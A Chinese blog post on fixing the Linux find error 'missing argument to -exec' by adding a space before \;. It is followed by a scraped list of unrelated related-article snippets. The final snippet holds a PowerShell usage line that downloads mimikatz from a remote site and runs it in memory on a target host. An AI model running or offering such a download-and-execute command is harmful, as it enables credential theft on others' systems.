在linux下使用find命令时,报错:find: missing argument to `-exec'
具体执行命令为:
find /u03 -name server.xml -exec grep '9080' {}\;
目的是查找/u03目录下名称为server.xml的文件,根据查找的结果进行grep搜索,搜索其中包含9080的文本。
-exec语法格式为:
-exec command {} \;
在{}和\之间必须要有空格,否则会报上面的错。
加上空格之后重新执行命令:
find /u03 -name server.xml -exec grep '9080' {} \;
结果:
<Connector port ="9080" redirectPort ="9443" connectionTimeout ="20000" URIEncoding ="utf-8" port="9080" protocol="HTTP/1.1" port="9080" protocol="HTTP/1.1" <Connector port ="9080" redirectPort ="9443" connectionTimeout ="20000" URIEncoding ="utf-8" port="9080" protocol="HTTP/1.1"
相关推荐
首先,我总是在man find和find: missing argument to '-exec'之间切换find: missing argument to '-exec'试图使find(1)工作时, find: missing argument to '-exec'或其他内容的find: missing argument to '-exec...
如下图所示,报错为TypeError: JayChou() missing 1 required keyword-only argument: ‘c’ 翻译过来是:TypeError:JayChou()缺少1个仅限关键字的参数:“c” 报错代码: #coding=utf-8 def JayChou(a, *b, c): ...
翻译过来是类型为“type”的TypeError对象没有len(),我报错的代码是: #coding=utf-8 print(请输入一个字符串:) a = input('') #回文的长度至少为2 if len(str) < 2: print('请不要输入空字符串!') a = ...
最好用的音轨分离软件spleeter,目前最好的分类音频和人声的开源工具,基于TensorFlow框架使用,具体请见说明
mask R-CNN报错:OSError: Unable to open file-附件资源
查看samba的版本是4版本的: [root@redhat_192.168.0.12 16:08:07 ~]#rpm -qa samba samba-4.9.1-6.el7.x86_64 找了好久,百度上一直都是mount命令加各种参数,确认了用户跟密码都没有问题,目录权限也都给了,最后...
环境:Linux-CentOS8,Python3.6 如果你遇到python-devel无法安装的问题,发现如下错误: [root@localhost mongodb-src-r4.2.7]# yum ...Error: Unable to find a match: python-devel 解决方案之一是: yum ins
1)....Added "ECC32TradeSpeedForMemory" option - defaults to 0/False, could be changed to 1 via Custom/Manual tab. This option will switch from fast-methods to slower methods, but which take less ...
添加cookies到浏览器 driver.delete_all_cookies() with open('cookiesJsonFile.json', 'r') as JsonFile: cookiesInfo = json.loads(JsonFile.read()) print(type(cookiesInfo), cookiesInfo) ...
【文件格式是Linux下的gz压缩包,在Windows下可以用WinRAR解压】 本人原创的操作系统上机作业(源代码),自己编写一个简单的Linux下的shell(a simple myshell)!原题见William Stallings写的《Operating Systems...
TypeError: Unexpected keyword argument passed to optimizer: learning_rate 3.问题定位: 先看报错代码:大概意思是, 传给优化器的learning_rate参数错误。 模型训练是在服务器Linux环境下进行的,之后在...
报错如下: 查找问题原因 直接通过错误信息看,是因为allure-pytest插件未安装,但是在pycharm的python虚拟环境中已经安装好了。 但是有一个关键信息是,我第一次执行这条命令的时候,命令正常执行了,而且report中...
sqoop学习文档(2){Sqoop import、Sqoop export}。记录我的学习之旅,每份文档倾心倾力,带我成我大牛,回头观望满脸笑意,望大家多多给予意见,有问题或错误,请联系 我将及时改正;借鉴文章标明出处,谢谢
// Argument: // HINSTANCE hInstance // int nCmdShow // ReturnType: BOOL // Description: ... // Created: 于金山 Time: 2009-03-12 05:00:14 // Modified: 于金山 Time: 2009-03-12 05:05:01 // Modified: ...
pytorch转onnx模型后,对onnx模型进行runtime时提示以下错误,具体细节如下: onnxruntime.capi.onnxruntime_pybind11_state.Fail: [ONNXRuntimeError] : 1 : FAIL : Non-zero status code returned while running ...
该文档系搭建ceph存储系统的深步操作,在rhel63下安装配置成功 。
Download and Execute - PowerShell greg . foss [at] logrhythm .... @heinzarelli v0.1 -- July 2015 ... PS C:\> dl-exec.ps1 -source http://some.site/mimikatz.ps1 -target 10.10.10.10 -memoryExec -argument